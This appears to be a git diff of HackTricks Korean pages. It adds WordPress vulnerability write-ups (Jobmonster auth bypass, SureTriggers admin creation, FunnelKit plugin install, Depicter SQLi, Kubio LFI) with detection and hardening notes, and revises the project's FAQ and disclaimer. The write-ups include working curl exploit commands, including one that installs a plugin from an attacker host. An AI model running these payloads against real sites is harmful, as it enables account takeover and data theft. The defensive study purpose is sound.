// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
|
||||
```
|
||||
왜 취약한가
|
||||
|
||||
- 인증 없이 admin-ajax.php를 통해 접근 가능 (wp_ajax_nopriv_… action).
|
||||
- 상태 변경 전에 nonce/capability 체크 없음.
|
||||
- OAuth/OpenID provider 검증 누락; default branch가 공격자 입력을 수용함.
|
||||
- get_user_by('email', $_POST['id']) 다음에 wp_set_auth_cookie($uid)를 호출하면 요청자를 기존 이메일 주소 중 하나로 인증함.
|
||||
|
||||
악용 (비인증)
|
||||
|
||||
- 전제조건: 공격자가 /wp-admin/admin-ajax.php에 접근할 수 있고 유효한 사용자 이메일을 알고 있거나 추측할 수 있음.
|
||||
- provider를 지원되지 않는 값으로 설정(또는 생략)하여 default branch를 타게 한 뒤 id=<victim_email>를 전달.
|
||||
```http
|
||||
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||||
Host: victim.tld
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
|
||||
```
|
||||
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
|
||||
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
|
||||
```
|
||||
Expected success indicators
|
||||
|
||||
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
|
||||
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
|
||||
|
||||
Finding the action name
|
||||
|
||||
- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
|
||||
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=<email>.
|
||||
- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
|
||||
|
||||
Hardening
|
||||
|
||||
- 클라이언트 입력으로부터 신원을 유추하지 마세요. 검증된 provider 토큰/ID에서 유래한 이메일/ID만 허용하십시오.
|
||||
- 로그인 헬퍼에도 CSRF nonces 및 capability checks를 요구하세요; 불필요한 경우 wp_ajax_nopriv_ 등록을 피하십시오.
|
||||
- OAuth/OIDC 응답을 서버 측에서 검증하고 확인하세요; 누락되었거나 유효하지 않은 공급자(provider)는 거부하십시오(POST id로의 폴백 금지).
|
||||
- 수정될 때까지 소셜 로그인을 일시적으로 비활성화하거나 엣지에서 취약한 액션을 차단하는 방식으로 가상 패치를 고려하세요.
|
||||
|
||||
Patched behaviour (Jobmonster 4.8.0)
|
||||
|
||||
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
|
||||
|
||||
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
|
||||
|
||||
일부 플러그인은 호출자의 권한을 검증하지 않고 재사용 가능한 “connection keys” 또는 토큰을 발급하는 REST 엔드포인트를 노출합니다. 경로가 추측 가능한 속성(예: username)만으로 인증하고 키를 사용자/세션에 capability checks로 바인딩하지 않으면, 모든 미인증 공격자가 키를 발급(mint)하여 권한 있는 동작(관리자 계정 생성, 플러그인 액션 → RCE)을 실행할 수 있습니다.
|
||||
|
||||
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
|
||||
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
|
||||
- Impact: full takeover by chaining the minted key to internal privileged actions
|
||||
|
||||
PoC – mint a connection key and use it
|
||||
```bash
|
||||
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"username":"admin"}'
|
||||
# → {"key":"<conn_key>", ...}
|
||||
|
||||
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H 'X-Connection-Key: <conn_key>' \
|
||||
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
|
||||
```
|
||||
Why it’s exploitable
|
||||
- 민감한 REST route가 낮은 엔트로피의 신원 증명(username)으로만 보호되거나 permission_callback이 누락됨
|
||||
- capability 검사가 없음; 발급된 key가 범용 우회로로 수용됨
|
||||
|
||||
Detection checklist
|
||||
- register_rest_route(..., [ 'permission_callback' => '__return_true' ]) 를 찾기 위해 플러그인 코드를 grep
|
||||
- 요청으로 제공된 신원(username/email)을 기반으로 토큰/키를 발급하되 이를 인증된 사용자나 capability와 연결하지 않는 모든 route
|
||||
- 서버 측 capability 검사 없이 발급된 token/key를 수용하는 후속 route를 찾아라
|
||||
|
||||
Hardening
|
||||
- 권한이 필요한 모든 REST route에 대해: 필요한 capability에 대해 current_user_can()을 적용하는 permission_callback 요구
|
||||
- 클라이언트가 제공한 신원으로 장기 유효 키를 발급하지 마라; 필요한 경우 인증 후 단명, 사용자 바인딩된 토큰을 발급하고 사용 시 capability를 다시 확인하라
|
||||
- 호출자의 사용자 컨텍스트를 검증하라 (wp_set_current_user만으로는 충분하지 않음) 그리고 !is_user_logged_in() || !current_user_can(<cap>) 인 요청은 거부하라
|
||||
|
||||
---
|
||||
|
||||
## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
|
||||
|
||||
Nonces는 CSRF를 방지하지만 권한 부여를 대체하지 않는다. 코드가 nonce 통과를 일종의 허가 신호로 간주하고 권한이 필요한 작업(예: install/activate plugins)에 대한 capability 검사를 건너뛰면, 인증되지 않은 공격자는 약한 nonce 요구를 충족시켜 백도어가 심긴 또는 취약한 플러그인을 설치함으로써 RCE에 도달할 수 있다.
|
||||
|
||||
- Vulnerable path: plugin/install_and_activate
|
||||
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
|
||||
- Impact: full compromise via arbitrary plugin install/activation
|
||||
|
||||
PoC (shape depends on plugin; illustrative only)
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
|
||||
```
|
||||
탐지 체크리스트
|
||||
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
|
||||
- Any code path that sets $skip_caps = true after nonce validation
|
||||
|
||||
하드닝
|
||||
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
|
||||
- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
|
||||
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
|
||||
|
||||
---
|
||||
|
||||
## depicter-* 액션의 s (search) 파라미터를 통한 인증되지 않은 SQLi (Depicter Slider ≤ 3.6.1)
|
||||
|
||||
여러 depicter-* 액션이 s (search) 파라미터를 사용해 이를 파라미터화 없이 SQL 쿼리에 연결했다.
|
||||
|
||||
- Parameter: s (search)
|
||||
- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
|
||||
- Impact: database exfiltration (users, hashes), lateral movement
|
||||
|
||||
PoC
|
||||
```bash
|
||||
# Replace action with the affected depicter-* handler on the target
|
||||
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
|
||||
--data-urlencode 'action=depicter_search' \
|
||||
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
|
||||
```
|
||||
탐지 체크리스트
|
||||
- grep으로 depicter-* action 핸들러와 SQL에서 $_GET['s'] 또는 $_POST['s']의 직접 사용을 찾아보세요
|
||||
- $wpdb->get_results()/query()로 전달되는 커스텀 쿼리에서 s를 연결(concatenating)하는 부분을 검토하세요
|
||||
|
||||
보안 강화
|
||||
- 항상 $wpdb->prepare()나 wpdb 플레이스홀더를 사용하고; 예상치 못한 메타문자는 서버 측에서 차단하세요
|
||||
- s에 대해 엄격한 허용 목록을 추가하고 예상된 문자셋/길이로 정규화하세요
|
||||
|
||||
---
|
||||
|
||||
## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
|
||||
|
||||
템플릿 파라미터에서 공격자가 제어하는 경로를 정규화/제한 없이 수락하면 임의의 로컬 파일을 읽을 수 있고, includable PHP/log 파일이 런타임에 포함되면 경우에 따라 코드 실행으로 이어질 수 있습니다.
|
||||
|
||||
- Parameter: __kubio-site-edit-iframe-classic-template
|
||||
- Flaw: 정규화/허용 목록 없음; 디렉터리 트래버설 허용
|
||||
- Impact: 기밀 노출 (wp-config.php), 특정 환경에서는 잠재적 RCE (로그 포이즈닝, includable PHP)
|
||||
|
||||
PoC – wp-config.php 읽기
|
||||
```bash
|
||||
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
|
||||
```
|
||||
탐지 체크리스트
|
||||
- 요청 경로를 realpath() containment 없이 include()/require()/read sink에 이어붙이는 핸들러가 있는지 확인
|
||||
- 의도된 templates 디렉터리 밖으로 벗어나는 traversal 패턴 (../)을 확인
|
||||
|
||||
하드닝
|
||||
- Allowlisted 템플릿을 강제함; realpath()로 해석하고 require str_starts_with(realpath(file), realpath(allowed_base))
|
||||
- 입력을 정규화함; traversal 시퀀스와 절대 경로를 거부함; sanitize_file_name()은 파일명(전체 경로가 아님)에만 사용
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
@ -713,5 +854,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
|
||||
- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
|
||||
- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
|
||||
- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
|
||||
- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
|
||||
- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -5,52 +5,52 @@
|
||||
## HackTricks 가치
|
||||
|
||||
> [!TIP]
|
||||
> 다음은 HackTricks 프로젝트의 **가치**입니다:
|
||||
> 다음은 **HackTricks 프로젝트의 가치**입니다:
|
||||
>
|
||||
> - 모든 인터넷 사용자에게 **교육용 hacking** 리소스에 **무료**로 접근을 제공합니다.
|
||||
> - Hacking은 학습과 관련이 있으며, 학습은 가능한 한 무료여야 합니다.
|
||||
> - 이 책의 목적은 포괄적인 **교육 자료**로서 기능하는 것입니다.
|
||||
> - 멋진 **hacking** 기법을 **저장**하여 커뮤니티가 게시한 내용에 대해 **원저자들**에게 모든 **크레딧**을 돌립니다.
|
||||
> - **우리는 다른 사람들의 공로를 원하지 않습니다**, 우리는 단지 모두를 위해 멋진 트릭을 저장하고 싶습니다.
|
||||
> - 우리는 또한 HackTricks에 **자체 연구**를 게재합니다.
|
||||
> - 몇몇 경우에는 기술의 중요한 부분에 대한 **HackTricks에 요약**만 작성하고 자세한 내용은 **독자에게 원문 게시물을 방문하도록 권장**할 것입니다.
|
||||
> - 책에 있는 모든 **hacking** 기법을 **구성**하여 **더 접근하기 쉽게** 만듭니다.
|
||||
> - HackTricks 팀은 사람들이 **더 빨리 학습할 수 있도록** 콘텐츠를 **정리하는 데만 수천 시간**을 무료로 투입했습니다.
|
||||
> - 모든 인터넷 사용자에게 **무료**로 **교육용 hacking** 자료를 제공한다.
|
||||
> - Hacking은 학습에 관한 것이며, 학습은 가능한 한 무료여야 한다.
|
||||
> - 이 책의 목적은 포괄적인 **교육 자료**로서 기능하는 것이다.
|
||||
> - 커뮤니티가 게시한 훌륭한 **hacking** 기법을 저장하고 **원저자(ORIGINAL AUTHORS)**에게 모든 **크레딧**을 돌린다.
|
||||
> - **다른 사람의 크레딧을 원하지 않습니다**, 우리는 단지 모두를 위한 멋진 트릭을 저장하고 싶습니다.
|
||||
> - 우리는 또한 HackTricks에 **자체 연구**를 싣습니다.
|
||||
> - 여러 경우에 기술의 중요한 부분을 HackTricks에 **요약**으로만 작성하고, 자세한 내용은 원본 게시물을 방문하도록 **독자에게 권장**합니다.
|
||||
> - 책에 있는 모든 **hacking** 기법을 **정리**하여 더 **접근하기 쉬운(MORE ACCESSIBLE)** 형태로 만든다.
|
||||
> - HackTricks 팀은 사람들이 **더 빨리 배울 수 있도록** 콘텐츠를 정리하는 데만 수천 시간 이상을 무료로 헌신했습니다.
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
## HackTricks 자주 묻는 질문
|
||||
## HackTricks FAQ
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **이러한 리소스를 정말 감사드립니다. 어떻게 감사할 수 있나요?**
|
||||
> - **Thank you so much for these resources, how can I thank you?**
|
||||
|
||||
공개적으로 HackTricks 팀이 이 모든 리소스를 모아준 것에 대해 감사하려면 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 멘션한 트윗을 올려주세요.\
|
||||
특히 감사하다면 [**여기에서 프로젝트를 후원하세요**](https://github.com/sponsors/carlospolop).\
|
||||
그리고 Github 프로젝트에 **별표(Star)**를 주는 것을 잊지 마세요! (아래에서 링크를 찾으세요).
|
||||
공개적으로 HackTricks 팀이 이 모든 자료를 정리해 준 것에 대해 감사 표시를 하고 싶다면 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 언급한 트윗으로 공개적으로 감사할 수 있습니다.\
|
||||
특히 감사하다면 [**sponsor the project here**](https://github.com/sponsors/carlospolop)에서 프로젝트를 후원할 수도 있습니다.\
|
||||
그리고 Github 프로젝트에 **별(star)을 주는 것**도 잊지 마세요! (링크는 아래에서 찾으실 수 있습니다).
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **프로젝트에 어떻게 기여할 수 있나요?**
|
||||
> - **How can I contribute to the project?**
|
||||
|
||||
책에서 찾은 버그를 수정하거나 커뮤니티와 새로운 팁과 트릭을 **공유**하려면 해당 Github 페이지에 **Pull Request**를 보내세요:
|
||||
커뮤니티와 **새로운 팁과 트릭을 공유하거나 책에서 발견한 버그를 수정**하려면 해당 Github 페이지에 **Pull Request**를 보내세요:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
Github 프로젝트에 **별표(Star)**를 주는 것을 잊지 마세요!
|
||||
Github 프로젝트에 **별(star)을 주는 것**도 잊지 마세요!
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **HackTricks의 일부 콘텐츠를 복사하여 내 블로그에 올려도 되나요?**
|
||||
> - **Can I copy some content from HackTricks and put it in my blog?**
|
||||
|
||||
네, 가능합니다. 단, 콘텐츠를 가져온 **구체적인 링크들을 반드시 언급**하세요.
|
||||
네, 가능합니다. 다만 **내용을 가져온 특정 링크(들)**을 반드시 명시해 주세요.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **HackTricks의 페이지를 어떻게 인용하나요?**
|
||||
> - **How can I reference a page of HackTricks?**
|
||||
|
||||
정보를 가져온 페이지의 링크가 표시되는 한 그걸로 충분합니다.\
|
||||
정보를 가져온 페이지의 링크가 표시되어 있으면 충분합니다.\
|
||||
bibtex가 필요하다면 다음과 같은 형식을 사용할 수 있습니다:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
```
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **내 블로그에 HackTricks 전부를 복사해도 되나요?**
|
||||
> - **Can I copy all HackTricks in my blog?**
|
||||
|
||||
**권장하지 않습니다**. 이는 **아무에게도 이득이 되지 않습니다**. 모든 **콘텐츠는 공식 HackTricks 책에서 이미 무료로 공개되어 있습니다**.
|
||||
**그렇게 하시지 않는 편이 좋습니다**. 그건 **아무에게도 이롭지 않습니다** — 모든 **콘텐츠는 이미 공식 HackTricks 책에서 무료로 공개되어 있습니다**.
|
||||
|
||||
사라질까 걱정된다면 Github에 fork하거나 다운로드하세요. 이미 무료로 제공되고 있습니다.
|
||||
사라질까 걱정된다면, Github에서 fork 하거나 다운로드하세요. 앞서 말했듯이 이미 무료입니다.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **왜 스폰서가 있나요? HackTricks 책은 상업적 목적입니까?**
|
||||
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
|
||||
|
||||
첫 번째 **HackTricks** **가치**는 전 세계 **모두**에게 **무료(FREE)** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 **수천 시간**을 바쳤고, 다시 말하지만 **무료**입니다.
|
||||
첫 번째 **HackTricks** **가치**는 전 세계 **모두(ALL)**에게 **무료(FREE)** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 **수천 시간**을 기여했으며, 다시 말하지만 **무료**입니다.
|
||||
|
||||
HackTricks 책이 **상업적 목적**을 위해 만들어졌다고 생각한다면 **완전히 틀렸습니다**.
|
||||
HackTricks 책이 **상업적 목적**을 위한 것이라고 생각하신다면, **완전히 오해하신 겁니다**.
|
||||
|
||||
콘텐츠가 모두 무료이더라도, 커뮤니티가 원하면 우리의 작업을 **감사히 여길 수 있는 선택지**를 제공하고 싶기 때문에 스폰서가 있습니다. 따라서 사람들에게 [**Github sponsors**](https://github.com/sponsors/carlospolop)를 통한 기부 옵션을 제공하고, **관련 사이버보안 회사들**이 HackTricks를 스폰서하고 책에 **광고(ads)**를 게재할 수 있도록 합니다. 광고는 **보이긴 하되 학습을 방해하지 않도록** 항상 콘텐츠를 집중해서 볼 때 방해가 되지 않는 위치에 배치됩니다.
|
||||
스폰서가 있는 이유는 모든 콘텐츠가 무료이더라도, 커뮤니티가 원할 경우 **우리의 작업을 후원할 수 있는 선택지**를 제공하고 싶기 때문입니다. 따라서 사람들에게 [**Github sponsors**](https://github.com/sponsors/carlospolop)를 통해 HackTricks에 기부할 수 있는 옵션을 제공하고, **관련 사이버보안 기업들**이 HackTricks를 후원하고 책에 **광고(ads)**를 게재할 수 있도록 합니다. 광고는 항상 **눈에 띄지만 학습을 방해하지 않는 위치**에 배치됩니다.
|
||||
|
||||
HackTricks는 콘텐츠가 훨씬 적은 다른 블로그들처럼 성가신 광고로 가득 차 있지 않습니다. HackTricks는 상업적 목적을 위해 만들어진 것이 아닙니다.
|
||||
HackTricks는 콘텐츠가 훨씬 적은 다른 블로그들처럼 성가신 광고로 가득하지 않습니다. HackTricks는 상업적 목적을 위해 만들어진 것이 아니기 때문입니다.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **어떤 HackTricks 페이지가 제 블로그 게시물을 기반으로 했는데 출처가 표시되어 있지 않으면 어떻게 해야 하나요?**
|
||||
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
|
||||
|
||||
**정말 죄송합니다. 이런 일이 발생해서는 안 됩니다**. Github issues, Twitter, Discord 등을 통해 HackTricks 페이지 링크와 귀하의 블로그 링크를 알려주시면 **확인 후 가능한 한 빨리 추가하겠습니다**.
|
||||
**정말 죄송합니다. 이런 일이 있어서는 안 됩니다**. Github issues, Twitter, Discord 등으로 HackTricks 페이지의 링크와 원본 블로그 링크를 알려주시면 **확인 후 ASAP로 추가하겠습니다**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **HackTricks에 제 블로그의 콘텐츠가 있는데 그것을 원하지 않으면 어떻게 해야 하나요?**
|
||||
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
|
||||
|
||||
HackTricks에 귀하의 페이지로의 링크가 있는 경우 다음과 같은 효과가 있습니다:
|
||||
HackTricks에 당신의 페이지에 대한 링크가 포함되어 있는 경우:
|
||||
|
||||
- 귀하의 **SEO**가 향상됩니다
|
||||
- 해당 콘텐츠는 **15개 이상의 언어로 번역**되어 더 많은 사람들이 접근할 수 있게 됩니다
|
||||
- **HackTricks는** 사람들에게 귀하의 페이지를 **확인하도록 권장**합니다 (몇몇 분들은 자신들의 페이지가 HackTricks에 게재된 이후 방문자가 늘었다고 알려주셨습니다)
|
||||
- 당신의 **SEO**가 향상됩니다.
|
||||
- 해당 콘텐츠가 **15개 이상의 언어로 번역**되어 더 많은 사람이 접근할 수 있게 됩니다.
|
||||
- **HackTricks는** 사람들에게 **원문 페이지를 확인하도록 권장**합니다(몇몇 페이지 소유자들은 자신의 페이지가 HackTricks에 올라간 이후 방문자가 늘었다고 알려주었습니다).
|
||||
|
||||
그럼에도 불구하고 HackTricks에서 귀하의 블로그 콘텐츠를 삭제하길 원하시면 알려주십시오. 저희는 확실히 **귀하의 블로그로의 모든 링크를 제거**하고, 그에 기반한 모든 콘텐츠를 삭제하겠습니다.
|
||||
그럼에도 불구하고 블로그의 콘텐츠를 HackTricks에서 제거하기 원하시면 알려주십시오. 저희는 확실히 **당신의 블로그로의 모든 링크와 해당 기반의 콘텐츠를 제거**하겠습니다.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **HackTricks에서 복사·붙여넣기된 콘텐츠를 발견하면 어떻게 하나요?**
|
||||
> - **What should I do if I find copy-pasted content in HackTricks?**
|
||||
|
||||
우리는 항상 **원저자에게 모든 크레딧을 부여**합니다. 만약 출처가 표기되지 않은 복사·붙여넣기된 페이지를 발견하신다면 알려주십시오. 저희는 해당 페이지를 **삭제하거나**, **텍스트 앞에 출처 링크를 추가**하거나, **링크를 추가하여 재작성**하겠습니다.
|
||||
우리는 항상 **원저자에게 모든 크레딧을 제공합니다**. 만약 원본 출처가 참조되지 않은 채 복사-붙여넣기된 페이지를 발견하시면 알려주십시오. 저희는 해당 내용을 **삭제**, **본문 앞에 링크 추가**, 또는 **링크를 추가하여 재작성**하는 방식 중 하나로 처리하겠습니다.
|
||||
|
||||
## 라이선스
|
||||
## LICENSE
|
||||
|
||||
Copyright © All rights reserved unless otherwise specified.
|
||||
|
||||
#### 라이선스 요약:
|
||||
#### License Summary:
|
||||
|
||||
- Attribution: You are free to:
|
||||
- Share — copy and redistribute the material in any medium or format.
|
||||
- Adapt — remix, transform, and build upon the material.
|
||||
|
||||
#### 추가 조건:
|
||||
#### Additional Terms:
|
||||
|
||||
- Third-Party Content: 이 블로그/책의 일부는 다른 출처(예: 다른 블로그나 출판물의 발췌문)를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용(fair use)의 원칙에 따라 이루어지거나 해당 저작권자의 명시적 허가를 받아 수행됩니다. 제3자 콘텐츠에 대한 구체적인 라이선스 정보는 원본 출처를 참조하시기 바랍니다.
|
||||
- Authorship: HackTricks가 저술한 원본 콘텐츠는 이 라이선스의 조건에 따릅니다. 이 작업을 공유하거나 각색할 때 저자를 표시하는 것을 권장합니다.
|
||||
- Third-Party Content: 이 블로그/책의 일부는 다른 블로그나 출판물에서 발췌한 내용 등 제3자 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용 원칙에 따라 이루어지거나 해당 저작권 보유자의 명시적 허가를 받아 이루어집니다. 제3자 콘텐츠에 대한 구체적 라이선스 정보는 원문 출처를 참조하시기 바랍니다.
|
||||
- Authorship: HackTricks가 원저자로 작성한 콘텐츠는 본 라이선스의 적용을 받습니다. 공유하거나 수정할 때 저작자에게 출처를 표기할 것을 권장합니다.
|
||||
|
||||
#### 예외사항:
|
||||
#### Exemptions:
|
||||
|
||||
- Commercial Use: 이 콘텐츠의 상업적 이용에 관한 문의는 저에게 연락해 주십시오.
|
||||
|
||||
이 라이선스는 콘텐츠와 관련된 상표 또는 브랜딩 권리를 부여하지 않습니다. 이 블로그/책에 게재된 모든 상표 및 브랜딩은 해당 소유자의 자산입니다.
|
||||
이 라이선스는 해당 콘텐츠와 관련된 상표 또는 브랜딩 권리를 부여하지 않습니다. 이 블로그/책에 등장하는 모든 상표와 브랜딩은 각 소유자의 재산입니다.
|
||||
|
||||
**HackTricks에 접근하거나 HackTricks를 사용하는 경우 본 라이선스 조건을 준수하는 데 동의하는 것으로 간주됩니다. 이 조건에 동의하지 않으면 이 웹사이트에 접근하지 마십시오.**
|
||||
**By accessing or using HackTricks, you agree to abide by the terms of this license. If you do not agree with these terms, please, do not access this website.**
|
||||
|
||||
## **면책사항**
|
||||
## **Disclaimer**
|
||||
|
||||
> [!CAUTION]
|
||||
> 이 책 'HackTricks'는 교육적 및 정보 제공 목적을 위한 것입니다. 이 책 내의 내용은 '있는 그대로(as is)' 제공되며, 저자 및 발행인은 이 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적이든 묵시적이든 어떠한 진술이나 보증도 하지 않습니다. 따라서 해당 정보에 대한 의존은 전적으로 귀하의 책임입니다.
|
||||
> 이 책 'HackTricks'는 교육적 및 정보 제공 목적을 위해 작성되었습니다. 이 책의 내용은 '있는 그대로(as is)' 제공되며, 저자와 발행자는 해당 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적 또는 묵시적으로 어떠한 보증도 하지 않습니다. 따라서 해당 정보에 대한 의존은 전적으로 사용자의 책임입니다.
|
||||
>
|
||||
> 저자 및 발행인은 데이터 손실 또는 이 책의 사용과 관련하여 발생하는 이익 손실 등 간접적 또는 결과적 손해를 포함하여 어떠한 손실이나 손해에 대해서도 책임을 지지 않습니다.
|
||||
> 저자와 발행자는 데이터 손실이나 이익 손실과 관련하여 발생하는 간접적 또는 결과적 손해를 포함한 어떠한 손실이나 손해에 대해서도 책임을 지지 않습니다.
|
||||
>
|
||||
> 또한 이 책에 설명된 기술과 팁은 교육적·정보 제공 목적을 위한 것이며 불법적이거나 악의적인 활동에 사용되어서는 안 됩니다. 저자 및 발행인은 어떠한 불법적이거나 비윤리적인 활동도 묵인하거나 지지하지 않으며, 이 책의 정보를 사용함으로써 발생하는 모든 결과는 사용자의 책임과 재량입니다.
|
||||
> 또한 이 책에 설명된 기법과 팁은 교육적·정보 제공 목적으로만 제공되며 불법적이거나 악의적인 활동에 사용되어서는 안 됩니다. 저자와 발행자는 어떠한 불법적이거나 비윤리적인 활동도 용인하거나 지원하지 않으며, 이 책의 정보를 사용하는 것은 전적으로 사용자의 위험과 재량에 달려 있습니다.
|
||||
>
|
||||
> 이 책에 포함된 정보를 바탕으로 수행한 조치에 대하여 발생한 모든 행동에 대한 책임은 전적으로 사용자에게 있으며, 기술이나 팁을 구현하려 할 때는 항상 전문가의 조언과 도움을 구해야 합니다.
|
||||
> 사용자는 이 책에 포함된 정보를 기반으로 취한 모든 행동에 대해 전적으로 책임을 지며, 본서에 기술된 기법이나 팁을 구현하려 할 때는 항상 전문가의 조언과 도움을 구해야 합니다.
|
||||
>
|
||||
> 이 책을 사용함으로써 사용자는 저자 및 발행인을 이 책 또는 그 안의 정보 사용으로 인해 발생할 수 있는 모든 손해, 손실 또는 해로부터 면책시키는 데 동의하는 것으로 간주됩니다.
|
||||
> 이 책을 사용함으로써, 사용자는 저자와 발행자를 이 책 또는 이 책에 포함된 정보의 사용으로 인해 발생할 수 있는 모든 손해, 손실 또는 해에 대해 면책시키는 데 동의합니다.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user